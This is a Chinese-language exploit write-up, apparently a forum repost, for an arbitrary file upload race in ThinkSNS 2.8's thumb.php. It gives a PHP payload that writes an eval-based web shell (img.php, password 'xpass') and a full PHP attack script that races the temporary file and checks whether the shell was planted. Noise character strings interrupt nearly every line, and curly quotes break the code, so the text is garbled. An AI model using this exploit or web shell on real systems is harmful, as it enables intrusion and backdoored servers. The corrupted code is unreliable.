漏洞版本# F d7 i B& a- Q3 d: H/ Y1 j" z: T
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
! [% p' w4 u9 i1 c/ _ p漏洞文件
! U) R! S& _' _2 x3 s3 ~! [存在漏洞的文件为:thumb.php- Y2 t; Y3 b, q, F" b
作者:韦鲲鹏
8 r2 E" |; i$ ?1、 准备如下PHP文件并上传到服务器(自己的)。
+ r$ J# f9 I1 u. {3 n5 }文件内容如下:: p9 I* G- @0 z! e. W- i! j
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
1 i; H7 w& ^- ?# T7 i: p* @2、 计算出临时的文件名:
" `1 D' A- i: R- `这里我们可以看文件的99行(刚刚是不是没注意呀!)。
) n4 O0 O, m6 w& _( X+ v t- @
9 `9 _. M0 C2 a) {3、 上传临时文件。4 u: ~4 B% s0 g; j( H3 `! Q2 i
4、 访问临时文件。
. I; c7 ]; L* p% j" W. G但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)% J% m! ]2 |; s+ o# V. J u
Exploit文件内容如下:(这个我就不详细解释了)! ?0 E7 T! K4 @) _+ {3 ]) F
<?php( x# z; O# w, U+ k9 k6 e3 @5 ^
error_reporting(0);4 ]" g7 }8 v1 [1 o5 Q+ a
set_time_limit(0);* j# |0 m9 W* T) N i% r
ini_set(“default_socket_timeout”, 5);$ A0 U. E7 e3 ~! w) Y2 S6 }
function http_send($host, $port, $headers) {
/ m' Y* P5 v5 w4 b- z, H$fp = fsockopen($host, $port);
7 r7 e2 J& W, R" t+ c/ oif (!$fp) die(‘Connection -> fail’);7 o2 L& z: l4 b; f$ v# G+ I
fputs($fp, $headers);
% Q5 f4 x2 Q/ F3 Nreturn $fp;2 L0 a, Z* J: R) W2 v
}
3 s0 n L! _2 Afunction http_recv($fp) {
: S- c L4 o4 O: n5 n! G$ret=”";
3 x! z: z, I) }% s1 a0 g swhile (!feof($fp)): N+ d( }2 f% H8 H
$ret.= fgets($fp, 1024);! u. ]' S9 l9 H* A" m& m
fclose($fp);) L0 T: E! A4 Q6 y0 W' [+ t8 a
return $ret;$ ?0 V8 p F' ~- v4 t* B
}
x3 q' h* B. uprint “\n# ThinkSns Arbitrary File Upload #\n”;' [7 V) W2 N! b' t$ J. L
print “# Discovered by 韦鲲鹏 #\n\n”;- v* K9 }% |; \* p0 D
if ($argc < 4) {6 k( Q# t; j- P1 F: x! k' g
print “Usage: php <host> <path> <romote_url>\n”;
; g [3 t0 u7 {+ ]print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
3 w! v( Z3 @+ W' H3 \/ Ddie();
& ?8 c: X0 I2 c}: E! d2 f9 t7 V1 O: O# I3 m
$host = $argv[1];0 _" g7 U7 m4 t4 \$ a
$path = $argv[2];6 g- G" x0 B- v: L& V. q2 N: I
$url = $argv[3];
6 p' ^5 F' W8 C" ~8 q" g ?7 {2 d. m$i=0;4 S( |" D# O6 g+ L5 L: J1 V2 u% v
//上传数据包
4 \0 {0 S* z8 {2 U" i/ [. N5 ?$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;5 c8 X- Q4 {+ s( R, I
$headers_up .= “Host: “.$host.”\r\n”;, E+ [- t6 L6 C+ R# W
$headers_up .= “Connection: close\r\n\r\n”;& t: _& I+ n9 E7 T3 k: m S
echo $headers_up;' `" [6 F9 | t6 J+ l
//临时文件访问数据包
( F" r ^. ?9 l% W' M$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;. g, \' ?7 D0 G1 H- }
$headers .= “Host: “.$host.”\r\n”;$ B6 c7 d" v# t9 Y# o# w# H3 R& G% Z' a
$headers .= “Connection: close\r\n\r\n”; t ^" K4 w6 }4 z5 v
echo $headers;
) E& u( H( _4 K$ G* g% d& W' j& nwhile(++$i<10) {
) c0 [0 z5 E6 ffclose(http_send($host, 80, $headers));
- h+ R) u7 ]0 [* s' p}/ G' u4 U0 u2 ?( R" ~' f! @+ g j
fclose(http_send($host, 80, $headers_up));0 `. D0 e$ y. h
while(++$i<50) {8 o2 G4 m/ A; a- r
fclose(http_send($host, 80, $headers));
1 s9 q+ ?7 u3 M5 U7 J, Q- M}' k3 Y7 D2 @6 d% N: s I
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”; Z0 q4 v# t( _3 ?/ R6 }
$headers .= “Host: “.$host.”\r\n”;
+ _, C* Z. C( g$headers .= “Connection: close\r\n\r\n”;$ e6 j! _: J+ t- s6 a# I9 s) ]- h1 H
$res=http_recv(http_send($host, 80, $headers));
( l" H, i' q+ A+ t5 z' uif(preg_match(‘/200 OK/’,$res)) {0 b; P1 b" V# [7 w
print “Success!\n\n”;
8 u; k. Y# v6 l; |} else {5 `: N4 `+ v6 Y9 S% t8 f
print “Fail!\n\n”;
. k: B9 I J' @ @! I7 u2 f}
7 H) o0 _. \& J?>
I7 d: D3 h# x |